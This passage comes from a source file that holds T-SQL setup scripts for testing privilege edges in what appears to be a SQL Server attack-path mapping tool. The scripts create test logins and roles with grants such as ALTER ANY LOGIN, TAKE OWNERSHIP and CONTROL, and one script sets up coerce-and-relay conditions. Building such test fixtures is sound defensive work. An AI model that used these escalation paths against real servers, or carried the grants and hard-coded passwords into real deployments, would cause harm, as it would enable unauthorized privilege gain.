DatabaseUser/DatabaseRole/ApplicationRole -> Database +-- ===================================================== + +-- DatabaseUser with ALTER ANY APPLICATION ROLE +CREATE USER [AlterAnyAppRoleTest_User_HasAlterAnyAppRole] WITHOUT LOGIN; +GRANT ALTER ANY APPLICATION ROLE TO [AlterAnyAppRoleTest_User_HasAlterAnyAppRole]; + +-- DatabaseRole with ALTER ANY APPLICATION ROLE +CREATE ROLE [AlterAnyAppRoleTest_DbRole_HasAlterAnyAppRole]; +GRANT ALTER ANY APPLICATION ROLE TO [AlterAnyAppRoleTest_DbRole_HasAlterAnyAppRole]; + +-- ApplicationRole with ALTER ANY APPLICATION ROLE +CREATE APPLICATION ROLE [AlterAnyAppRoleTest_AppRole_HasAlterAnyAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ANY APPLICATION ROLE TO [AlterAnyAppRoleTest_AppRole_HasAlterAnyAppRole]; + +-- Fixed role db_securityadmin has ALTER ANY APPLICATION ROLE by default + +-- ===================================================== +-- DEFENSIVE: Create target application roles +-- ===================================================== +-- For defensive perspective, we need actual application roles as targets + +-- Create several application roles to serve as targets +CREATE APPLICATION ROLE [AlterAnyAppRoleTest_TargetAppRole1] WITH PASSWORD = 'TargetP@ss123!'; +CREATE APPLICATION ROLE [AlterAnyAppRoleTest_TargetAppRole2] WITH PASSWORD = 'TargetP@ss123!'; + +USE master; +GO + +PRINT 'MSSQL_AlterAnyAppRole test setup completed'; +`, + "AlterAnyDBRole": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_AlterAnyDBRole EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_AlterAnyDBRole edges + +-- Create test database if it doesn't exist +IF NOT EXISTS (SELECT * FROM sys.databases WHERE name = 'EdgeTest_AlterAnyDBRole') + CREATE DATABASE [EdgeTest_AlterAnyDBRole]; +GO + +USE [EdgeTest_AlterAnyDBRole]; +GO + +-- ===================================================== +-- OFFENSIVE: DatabaseUser/DatabaseRole/ApplicationRole -> Database +-- ===================================================== + +-- DatabaseUser with ALTER ANY ROLE +CREATE USER [AlterAnyDBRoleTest_User_HasAlterAnyRole] WITHOUT LOGIN; +GRANT ALTER ANY ROLE TO [AlterAnyDBRoleTest_User_HasAlterAnyRole]; + +-- DatabaseRole with ALTER ANY ROLE +CREATE ROLE [AlterAnyDBRoleTest_DbRole_HasAlterAnyRole]; +GRANT ALTER ANY ROLE TO [AlterAnyDBRoleTest_DbRole_HasAlterAnyRole]; + +-- ApplicationRole with ALTER ANY ROLE +CREATE APPLICATION ROLE [AlterAnyDBRoleTest_AppRole_HasAlterAnyRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ANY ROLE TO [AlterAnyDBRoleTest_AppRole_HasAlterAnyRole]; + +-- Fixed role db_securityadmin has ALTER ANY ROLE + +-- ===================================================== +-- DEFENSIVE: Create target database roles +-- ===================================================== +-- For defensive perspective, we need actual database roles as targets + +-- Create user-defined database roles to serve as targets +CREATE ROLE [AlterAnyDBRoleTest_TargetRole1]; +CREATE ROLE [AlterAnyDBRoleTest_TargetRole2]; + +USE master; +GO + +PRINT 'MSSQL_AlterAnyDBRole test setup completed'; +`, + "AlterAnyLogin": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_AlterAnyLogin EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_AlterAnyLogin edges + +-- ===================================================== +-- OFFENSIVE: Login/ServerRole -> Server +-- ===================================================== + +-- Login with ALTER ANY LOGIN permission +CREATE LOGIN [AlterAnyLoginTest_Login_HasAlterAnyLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT ALTER ANY LOGIN TO [AlterAnyLoginTest_Login_HasAlterAnyLogin]; + +-- ServerRole with ALTER ANY LOGIN permission +CREATE SERVER ROLE [AlterAnyLoginTest_ServerRole_HasAlterAnyLogin]; +GRANT ALTER ANY LOGIN TO [AlterAnyLoginTest_ServerRole_HasAlterAnyLogin]; + +-- Note: securityadmin fixed role has ALTER ANY LOGIN by default +-- We'll test the role itself, not members of the role + +-- ===================================================== +-- DEFENSIVE: Create target SQL logins (not Windows logins) +-- ===================================================== + +-- Regular SQL logins that can be targeted +CREATE LOGIN [AlterAnyLoginTest_TargetLogin1] WITH PASSWORD = 'TargetP@ss123!'; +CREATE LOGIN [AlterAnyLoginTest_TargetLogin2] WITH PASSWORD = 'TargetP@ss123!'; + +-- Login with sysadmin (should NOT be targetable without CONTROL SERVER) +CREATE LOGIN [AlterAnyLoginTest_TargetLogin_WithSysadmin] WITH PASSWORD = 'TargetP@ss123!'; +ALTER SERVER ROLE [sysadmin] ADD MEMBER [AlterAnyLoginTest_TargetLogin_WithSysadmin]; + +-- Login with CONTROL SERVER (should NOT be targetable without CONTROL SERVER) +CREATE LOGIN [AlterAnyLoginTest_TargetLogin_WithControlServer] WITH PASSWORD = 'TargetP@ss123!'; +GRANT CONTROL SERVER TO [AlterAnyLoginTest_TargetLogin_WithControlServer]; + +-- ===================================================== +-- ADDITIONAL: Nested CONTROL SERVER through role +-- ===================================================== + +-- Create user-defined server role with CONTROL SERVER +CREATE SERVER ROLE [AlterAnyLoginTest_UserRole_WithControlServer]; +GRANT CONTROL SERVER TO [AlterAnyLoginTest_UserRole_WithControlServer]; + +-- Create a login that's member of the role (nested CONTROL SERVER) +CREATE LOGIN [AlterAnyLoginTest_TargetLogin_NestedControlServer] WITH PASSWORD = 'TargetP@ss123!'; +ALTER SERVER ROLE [AlterAnyLoginTest_UserRole_WithControlServer] ADD MEMBER [AlterAnyLoginTest_TargetLogin_NestedControlServer]; + +-- Can't add server roles to sysadmin +-- Note: sa login cannot be targeted +-- Note: Windows logins cannot have passwords changed + +PRINT 'MSSQL_AlterAnyLogin test setup completed'; +`, + "AlterAnyServerRole": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_AlterAnyServerRole EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_AlterAnyServerRole edges + +-- ===================================================== +-- OFFENSIVE: Login/ServerRole -> Server +-- ===================================================== + +-- Login with ALTER ANY SERVER ROLE permission +CREATE LOGIN [AlterAnyServerRoleTest_Login_HasAlterAnyServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT ALTER ANY SERVER ROLE TO [AlterAnyServerRoleTest_Login_HasAlterAnyServerRole]; + +-- ServerRole with ALTER ANY SERVER ROLE permission +CREATE SERVER ROLE [AlterAnyServerRoleTest_ServerRole_HasAlterAnyServerRole]; +GRANT ALTER ANY SERVER ROLE TO [AlterAnyServerRoleTest_ServerRole_HasAlterAnyServerRole]; + +-- Note: sysadmin has ALTER ANY SERVER ROLE by default but edges not drawn (handled by ControlServer) + +-- ===================================================== +-- DEFENSIVE: Create target server roles and test membership +-- ===================================================== + +-- Create user-defined server roles as targets +CREATE SERVER ROLE [AlterAnyServerRoleTest_TargetRole1]; +CREATE SERVER ROLE [AlterAnyServerRoleTest_TargetRole2]; + +-- Make the login a member of a fixed role to test fixed role membership requirement +ALTER SERVER ROLE [processadmin] ADD MEMBER [AlterAnyServerRoleTest_Login_HasAlterAnyServerRole]; + +-- Make the server role a member of a different fixed role +ALTER SERVER ROLE [bulkadmin] ADD MEMBER [AlterAnyServerRoleTest_ServerRole_HasAlterAnyServerRole]; + +PRINT 'MSSQL_AlterAnyServerRole test setup completed'; +`, + "ChangeOwner": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_ChangeOwner EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test MSSQL_ChangeOwner edges +-- IMPORTANT: MSSQL_ChangeOwner is created in offensive perspective only (traversable) +-- In defensive perspective, these become MSSQL_TakeOwnership or MSSQL_DBTakeOwnership edges + +-- Create test database if it doesn't exist +CREATE DATABASE [EdgeTest_ChangeOwner]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login/ServerRole -> ServerRole +-- ===================================================== + +-- Login with TAKE OWNERSHIP on specific server role +CREATE LOGIN [ChangeOwnerTest_Login_CanTakeOwnershipServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE SERVER ROLE [ChangeOwnerTest_ServerRole_TargetOf_Login]; +GRANT TAKE OWNERSHIP ON SERVER ROLE::[ChangeOwnerTest_ServerRole_TargetOf_Login] TO [ChangeOwnerTest_Login_CanTakeOwnershipServerRole]; + +-- Login with CONTROL on specific server role +CREATE LOGIN [ChangeOwnerTest_Login_CanControlServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE SERVER ROLE [ChangeOwnerTest_ServerRole_TargetOf_Login_CanControlServerRole]; +GRANT CONTROL ON SERVER ROLE::[ChangeOwnerTest_ServerRole_TargetOf_Login_CanControlServerRole] TO [ChangeOwnerTest_Login_CanControlServerRole]; + +-- ServerRole with TAKE OWNERSHIP on another server role +CREATE SERVER ROLE [ChangeOwnerTest_ServerRole_CanTakeOwnershipServerRole]; +CREATE SERVER ROLE [ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanTakeOwnershipServerRole]; +GRANT TAKE OWNERSHIP ON SERVER ROLE::[ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanTakeOwnershipServerRole] TO [ChangeOwnerTest_ServerRole_CanTakeOwnershipServerRole]; + +-- ServerRole with CONTROL on another server role +CREATE SERVER ROLE [ChangeOwnerTest_ServerRole_CanControlServerRole]; +CREATE SERVER ROLE [ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanControlServerRole]; +GRANT CONTROL ON SERVER ROLE::[ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanControlServerRole] TO [ChangeOwnerTest_ServerRole_CanControlServerRole]; + +-- ===================================================== +-- DATABASE LEVEL SETUP +-- ===================================================== + +USE [EdgeTest_ChangeOwner]; +GO + +-- Create some database roles that will be targets for TAKE OWNERSHIP on database +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_User_CanTakeOwnershipDb]; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_DbRole_CanTakeOwnershipDb]; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_AppRole_CanTakeOwnershipDb]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser -> Database/DatabaseRole +-- ===================================================== + +-- DatabaseUser with TAKE OWNERSHIP on database (creates edges to all database roles) +CREATE USER [ChangeOwnerTest_User_CanTakeOwnershipDb] WITHOUT LOGIN; +GRANT TAKE OWNERSHIP ON DATABASE::[EdgeTest_ChangeOwner] TO [ChangeOwnerTest_User_CanTakeOwnershipDb]; + +-- DatabaseUser with TAKE OWNERSHIP on specific database role +CREATE USER [ChangeOwnerTest_User_CanTakeOwnershipDbRole] WITHOUT LOGIN; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_User_CanTakeOwnershipDbRole]; +GRANT TAKE OWNERSHIP ON ROLE::[ChangeOwnerTest_DbRole_TargetOf_User_CanTakeOwnershipDbRole] TO [ChangeOwnerTest_User_CanTakeOwnershipDbRole]; + +-- DatabaseUser with CONTROL on specific database role +CREATE USER [ChangeOwnerTest_User_CanControlDbRole] WITHOUT LOGIN; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_User_CanControlDbRole]; +GRANT CONTROL ON ROLE::[ChangeOwnerTest_DbRole_TargetOf_User_CanControlDbRole] TO [ChangeOwnerTest_User_CanControlDbRole]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseRole -> Database/DatabaseRole +-- ===================================================== + +-- DatabaseRole with TAKE OWNERSHIP on database +CREATE ROLE [ChangeOwnerTest_DbRole_CanTakeOwnershipDb]; +GRANT TAKE OWNERSHIP ON DATABASE::[EdgeTest_ChangeOwner] TO [ChangeOwnerTest_DbRole_CanTakeOwnershipDb]; + +-- DatabaseRole with TAKE OWNERSHIP on another database role +CREATE ROLE [ChangeOwnerTest_DbRole_CanTakeOwnershipDbRole]; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_DbRole_CanTakeOwnershipDbRole]; +GRANT TAKE OWNERSHIP ON ROLE::[ChangeOwnerTest_DbRole_TargetOf_DbRole_CanTakeOwnershipDbRole] TO [ChangeOwnerTest_DbRole_CanTakeOwnershipDbRole]; + +-- DatabaseRole with CONTROL on another database role +CREATE ROLE [ChangeOwnerTest_DbRole_CanControlDbRole]; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_DbRole_CanControlDbRole]; +GRANT CONTROL ON ROLE::[ChangeOwnerTest_DbRole_TargetOf_DbRole_CanControlDbRole] TO [ChangeOwnerTest_DbRole_CanControlDbRole]; + +-- ===================================================== +-- DATABASE LEVEL: ApplicationRole -> Database/DatabaseRole +-- ===================================================== + +-- ApplicationRole with TAKE OWNERSHIP on database +CREATE APPLICATION ROLE [ChangeOwnerTest_AppRole_CanTakeOwnershipDb] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT TAKE OWNERSHIP ON DATABASE::[EdgeTest_ChangeOwner] TO [ChangeOwnerTest_AppRole_CanTakeOwnershipDb]; + +-- ApplicationRole with TAKE OWNERSHIP on database role +CREATE APPLICATION ROLE [ChangeOwnerTest_AppRole_CanTakeOwnershipDbRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_AppRole_CanTakeOwnershipDbRole]; +GRANT TAKE OWNERSHIP ON ROLE::[ChangeOwnerTest_DbRole_TargetOf_AppRole_CanTakeOwnershipDbRole] TO [ChangeOwnerTest_AppRole_CanTakeOwnershipDbRole]; + +-- ApplicationRole with CONTROL on database role +CREATE APPLICATION ROLE [ChangeOwnerTest_AppRole_CanControlDbRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE ROLE [ChangeOwnerTest_DbRole_TargetOf_AppRole_CanControlDbRole]; +GRANT CONTROL ON ROLE::[ChangeOwnerTest_DbRole_TargetOf_AppRole_CanControlDbRole] TO [ChangeOwnerTest_AppRole_CanControlDbRole]; + +USE master; +GO + +PRINT 'MSSQL_ChangeOwner test setup completed'; +`, + "ChangePassword": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_ChangePassword EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test MSSQL_ChangePassword edges +-- MSSQL_ChangePassword is created in offensive perspective (traversable) + +-- Create test database if it doesn't exist +CREATE DATABASE [EdgeTest_ChangePassword]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login/ServerRole -> Login +-- ===================================================== + +-- Login with ALTER ANY LOGIN permission +CREATE LOGIN [ChangePasswordTest_Login_CanAlterAnyLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT ALTER ANY LOGIN TO [ChangePasswordTest_Login_CanAlterAnyLogin]; + +-- ServerRole with ALTER ANY LOGIN permission +CREATE SERVER ROLE [ChangePasswordTest_ServerRole_CanAlterAnyLogin]; +GRANT ALTER ANY LOGIN TO [ChangePasswordTest_ServerRole_CanAlterAnyLogin]; + +-- Target SQL logins (not Windows logins) +CREATE LOGIN [ChangePasswordTest_Login_TargetOf_Login_CanAlterAnyLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [ChangePasswordTest_Login_TargetOf_ServerRole_CanAlterAnyLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create a login with sysadmin that should NOT be targetable without CONTROL SERVER +CREATE LOGIN [ChangePasswordTest_Login_WithSysadmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [sysadmin] ADD MEMBER [ChangePasswordTest_Login_WithSysadmin]; + +-- Create a login with CONTROL SERVER that should NOT be targetable without CONTROL SERVER +CREATE LOGIN [ChangePasswordTest_Login_WithControlServer] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL SERVER TO [ChangePasswordTest_Login_WithControlServer]; + +-- Fixed role: securityadmin has ALTER ANY LOGIN +-- Create a target for securityadmin to test +CREATE LOGIN [ChangePasswordTest_Login_TargetOf_SecurityAdmin] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- ===================================================== +-- DATABASE LEVEL SETUP +-- ===================================================== + +USE [EdgeTest_ChangePassword]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> ApplicationRole +-- ===================================================== + +-- DatabaseUser with ALTER ANY APPLICATION ROLE +CREATE USER [ChangePasswordTest_User_CanAlterAnyAppRole] WITHOUT LOGIN; +GRANT ALTER ANY APPLICATION ROLE TO [ChangePasswordTest_User_CanAlterAnyAppRole]; + +-- DatabaseRole with ALTER ANY APPLICATION ROLE +CREATE ROLE [ChangePasswordTest_DbRole_CanAlterAnyAppRole]; +GRANT ALTER ANY APPLICATION ROLE TO [ChangePasswordTest_DbRole_CanAlterAnyAppRole]; + +-- ApplicationRole with ALTER ANY APPLICATION ROLE +CREATE APPLICATION ROLE [ChangePasswordTest_AppRole_CanAlterAnyAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ANY APPLICATION ROLE TO [ChangePasswordTest_AppRole_CanAlterAnyAppRole]; + +-- Target application roles +CREATE APPLICATION ROLE [ChangePasswordTest_AppRole_TargetOf_User_CanAlterAnyAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE APPLICATION ROLE [ChangePasswordTest_AppRole_TargetOf_DbRole_CanAlterAnyAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE APPLICATION ROLE [ChangePasswordTest_AppRole_TargetOf_AppRole_CanAlterAnyAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; + +-- Fixed role: db_securityadmin has ALTER ANY APPLICATION ROLE +-- Create a target for db_securityadmin to test +CREATE APPLICATION ROLE [ChangePasswordTest_AppRole_TargetOf_DbSecurityAdmin] WITH PASSWORD = 'AppRoleP@ss123!'; + +-- Note: ALTER or CONTROL on a specific application role does NOT allow password change +-- Only ALTER ANY APPLICATION ROLE allows password changes + +USE master; +GO + +PRINT 'MSSQL_ChangePassword test setup completed'; +`, + "CoerceAndRelayToMSSQL": ` +-- ===================================================== +-- SETUP FOR CoerceAndRelayToMSSQL EDGE TESTING +-- ===================================================== +-- This edge is created from Authenticated Users (S-1-5-11) to computer accounts +-- when the computer has a SQL login that is enabled with CONNECT SQL permission +-- and Extended Protection is Off +USE master; +GO + +-- Create computer account logins with CONNECT SQL permission (enabled by default) +-- These represent computers that can be coerced and relayed to +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\CoerceTestEnabled1$') + CREATE LOGIN [MAYYHEM\CoerceTestEnabled1$] FROM WINDOWS; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\CoerceTestEnabled2$') + CREATE LOGIN [MAYYHEM\CoerceTestEnabled2$] FROM WINDOWS; + +-- Create disabled computer account login (negative test) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\CoerceTestDisabled$') + CREATE LOGIN [MAYYHEM\CoerceTestDisabled$] FROM WINDOWS; +ALTER LOGIN [MAYYHEM\CoerceTestDisabled$] DISABLE; + +-- Create computer account login with CONNECT SQL denied (negative test) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\CoerceTestNoConnect$') + CREATE LOGIN [MAYYHEM\CoerceTestNoConnect$] FROM WINDOWS; +DENY CONNECT SQL TO [MAYYHEM\CoerceTestNoConnect$]; + +-- Create regular user login (negative test - not a computer account) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MAYYHEM\EdgeTestCoerce') + CREATE LOGIN [MAYYHEM\CoerceTestUser] FROM WINDOWS; + +-- Create SQL login (negative test - not a Windows login) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'CoerceTestSQLLogin') + CREATE LOGIN [CoerceTestSQLLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Note: Extended Protection is a server configuration setting, not set via T-SQL +-- For testing, ensure Extended Protection is set to Off on the test server + +PRINT 'CoerceAndRelayToMSSQL test setup completed'; +PRINT 'IMPORTANT: Ensure Extended Protection is set to Off on the SQL Server for this edge to be created'; +PRINT 'Edges will be created from Authenticated Users (S-1-5-11) to computer account SIDs'; +`, + "Connect": ` +-- ===================================================== +-- SETUP FOR MSSQL_Connect EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create test database +CREATE DATABASE [EdgeTest_Connect]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login/ServerRole -> Server +-- ===================================================== + +-- Login with explicit CONNECT SQL permission (granted by default) +CREATE LOGIN [ConnectTest_Login_HasConnectSQL] WITH PASSWORD = 'EdgeTestP@ss123!'; +GO + +-- Login with explicit CONNECT ANY DATABASE permission +CREATE LOGIN [ConnectAnyDatabaseTest_Login_HasConnectAnyDatabase] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONNECT ANY DATABASE TO [ConnectAnyDatabaseTest_Login_HasConnectAnyDatabase]; +GO + +-- Login with CONNECT SQL denied +CREATE LOGIN [ConnectTest_Login_NoConnectSQL] WITH PASSWORD = 'EdgeTestP@ss123!'; +DENY CONNECT SQL TO [ConnectTest_Login_NoConnectSQL]; +GO + +-- Server role with explicit CONNECT SQL permission +CREATE SERVER ROLE [ConnectTest_ServerRole_HasConnectSQL]; +GRANT CONNECT SQL TO [ConnectTest_ServerRole_HasConnectSQL]; +GO + +-- Server role with explicit CONNECT ANY DATABASE permission +CREATE SERVER ROLE [ConnectAnyDatabaseTest_ServerRole_HasConnectAnyDatabase]; +GRANT CONNECT ANY DATABASE TO [ConnectAnyDatabaseTest_ServerRole_HasConnectAnyDatabase]; +GO + +-- Disabled login (should not create edge even with CONNECT SQL) +CREATE LOGIN [ConnectTest_Login_Disabled] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER LOGIN [ConnectTest_Login_Disabled] DISABLE; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole -> Database +-- ===================================================== +USE [EdgeTest_Connect]; +GO + +-- Database user with CONNECT permission (granted by default) +CREATE USER [ConnectTest_User_HasConnect] WITHOUT LOGIN; +GO + +-- Database user with CONNECT denied +CREATE USER [ConnectTest_User_NoConnect] WITHOUT LOGIN; +DENY CONNECT TO [ConnectTest_User_NoConnect]; +GO + +-- Database role with explicit CONNECT permission +CREATE ROLE [ConnectTest_DbRole_HasConnect]; +GRANT CONNECT TO [ConnectTest_DbRole_HasConnect]; +GO + +-- Application role (cannot have CONNECT permission) +CREATE APPLICATION ROLE [ConnectTest_AppRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +GO + +USE master; +GO +`, + "Contains": ` +-- ===================================================== +-- SETUP FOR MSSQL_Contains EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create test database +CREATE DATABASE [EdgeTest_Contains]; +GO + +-- ===================================================== +-- SERVER LEVEL: Server -> Login/ServerRole/Database +-- ===================================================== + +-- Create test logins +CREATE LOGIN [ContainsTest_Login1] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [ContainsTest_Login2] WITH PASSWORD = 'EdgeTestP@ss123!'; +GO + +-- Create test server roles +CREATE SERVER ROLE [ContainsTest_ServerRole1]; +CREATE SERVER ROLE [ContainsTest_ServerRole2]; +GO + +-- ===================================================== +-- DATABASE LEVEL: Database -> DatabaseUser/DatabaseRole/ApplicationRole +-- ===================================================== +USE [EdgeTest_Contains]; +GO + +-- Create database users +CREATE USER [ContainsTest_User1] WITHOUT LOGIN; +CREATE USER [ContainsTest_User2] WITHOUT LOGIN; +GO + +-- Create database roles +CREATE ROLE [ContainsTest_DbRole1]; +CREATE ROLE [ContainsTest_DbRole2]; +GO + +-- Create application roles +CREATE APPLICATION ROLE [ContainsTest_AppRole1] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE APPLICATION ROLE [ContainsTest_AppRole2] WITH PASSWORD = 'EdgeTestP@ss123!'; +GO + +USE master; +GO +`, + "Control": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_Control EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_Control edges (offensive, non-traversable) + +-- Create test database if it doesn't exist +CREATE DATABASE [EdgeTest_Control]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login/ServerRole -> ServerRole +-- ===================================================== + +-- Login with CONTROL permission on login +CREATE LOGIN [ControlTest_Login_CanControlLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [ControlTest_Login_TargetOf_Login_CanControlLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL ON LOGIN::[ControlTest_Login_TargetOf_Login_CanControlLogin] TO [ControlTest_Login_CanControlLogin]; + +-- Login with CONTROL permission on server role +CREATE LOGIN [ControlTest_Login_CanControlServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE SERVER ROLE [ControlTest_ServerRole_TargetOf_Login_CanControlServerRole]; +GRANT CONTROL ON SERVER ROLE::[ControlTest_ServerRole_TargetOf_Login_CanControlServerRole] TO [ControlTest_Login_CanControlServerRole]; + +-- ServerRole with CONTROL permission on login +CREATE SERVER ROLE [ControlTest_ServerRole_CanControlLogin]; +CREATE LOGIN [ControlTest_Login_TargetOf_ServerRole_CanControlLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL ON LOGIN::[ControlTest_Login_TargetOf_ServerRole_CanControlLogin] TO [ControlTest_ServerRole_CanControlLogin]; + +-- ServerRole with CONTROL permission on server role +CREATE SERVER ROLE [ControlTest_ServerRole_CanControlServerRole]; +CREATE SERVER ROLE [ControlTest_ServerRole_TargetOf_ServerRole_CanControlServerRole]; +GRANT CONTROL ON SERVER ROLE::[ControlTest_ServerRole_TargetOf_ServerRole_CanControlServerRole] TO [ControlTest_ServerRole_CanControlServerRole]; + +-- ===================================================== +-- DATABASE LEVEL SETUP +-- ===================================================== + +USE [EdgeTest_Control]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> Database +-- ===================================================== + +-- DatabaseUser with CONTROL on database +CREATE USER [ControlTest_User_CanControlDb] WITHOUT LOGIN; +GRANT CONTROL ON DATABASE::[EdgeTest_Control] TO [ControlTest_User_CanControlDb]; + +-- DatabaseRole with CONTROL on database +CREATE ROLE [ControlTest_DbRole_CanControlDb]; +GRANT CONTROL ON DATABASE::[EdgeTest_Control] TO [ControlTest_DbRole_CanControlDb]; + +-- ApplicationRole with CONTROL on database +CREATE APPLICATION ROLE [ControlTest_AppRole_CanControlDb] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT CONTROL ON DATABASE::[EdgeTest_Control] TO [ControlTest_AppRole_CanControlDb]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> DatabaseUser +-- ===================================================== + +-- DatabaseUser with CONTROL on database user +CREATE USER [ControlTest_User_CanControlDbUser] WITHOUT LOGIN; +CREATE USER [ControlTest_User_TargetOf_User_CanControlDbUser] WITHOUT LOGIN; +GRANT CONTROL ON USER::[ControlTest_User_TargetOf_User_CanControlDbUser] TO [ControlTest_User_CanControlDbUser]; + +-- DatabaseRole with CONTROL on database user +CREATE ROLE [ControlTest_DbRole_CanControlDbUser]; +CREATE USER [ControlTest_User_TargetOf_DbRole_CanControlDbUser] WITHOUT LOGIN; +GRANT CONTROL ON USER::[ControlTest_User_TargetOf_DbRole_CanControlDbUser] TO [ControlTest_DbRole_CanControlDbUser]; + +-- ApplicationRole with CONTROL on database user +CREATE APPLICATION ROLE [ControlTest_AppRole_CanControlDbUser] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE USER [ControlTest_User_TargetOf_AppRole_CanControlDbUser] WITHOUT LOGIN; +GRANT CONTROL ON USER::[ControlTest_User_TargetOf_AppRole_CanControlDbUser] TO [ControlTest_AppRole_CanControlDbUser]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> DatabaseRole +-- ===================================================== + +-- DatabaseUser with CONTROL on database role +CREATE USER [ControlTest_User_CanControlDbRole] WITHOUT LOGIN; +CREATE ROLE [ControlTest_DbRole_TargetOf_User_CanControlDbRole]; +GRANT CONTROL ON ROLE::[ControlTest_DbRole_TargetOf_User_CanControlDbRole] TO [ControlTest_User_CanControlDbRole]; + +-- DatabaseRole with CONTROL on database role +CREATE ROLE [ControlTest_DbRole_CanControlDbRole]; +CREATE ROLE [ControlTest_DbRole_TargetOf_DbRole_CanControlDbRole]; +GRANT CONTROL ON ROLE::[ControlTest_DbRole_TargetOf_DbRole_CanControlDbRole] TO [ControlTest_DbRole_CanControlDbRole]; + +-- ApplicationRole with CONTROL on database role +CREATE APPLICATION ROLE [ControlTest_AppRole_CanControlDbRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE ROLE [ControlTest_DbRole_TargetOf_AppRole_CanControlDbRole]; +GRANT CONTROL ON ROLE::[ControlTest_DbRole_TargetOf_AppRole_CanControlDbRole] TO [ControlTest_AppRole_CanControlDbRole]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> ApplicationRole +-- ===================================================== + +-- DatabaseUser with CONTROL on application role +CREATE USER [ControlTest_User_CanControlAppRole] WITHOUT LOGIN; +CREATE APPLICATION ROLE [ControlTest_AppRole_TargetOf_User_CanControlAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT CONTROL ON APPLICATION ROLE::[ControlTest_AppRole_TargetOf_User_CanControlAppRole] TO [ControlTest_User_CanControlAppRole]; + +-- DatabaseRole with CONTROL on application role +CREATE 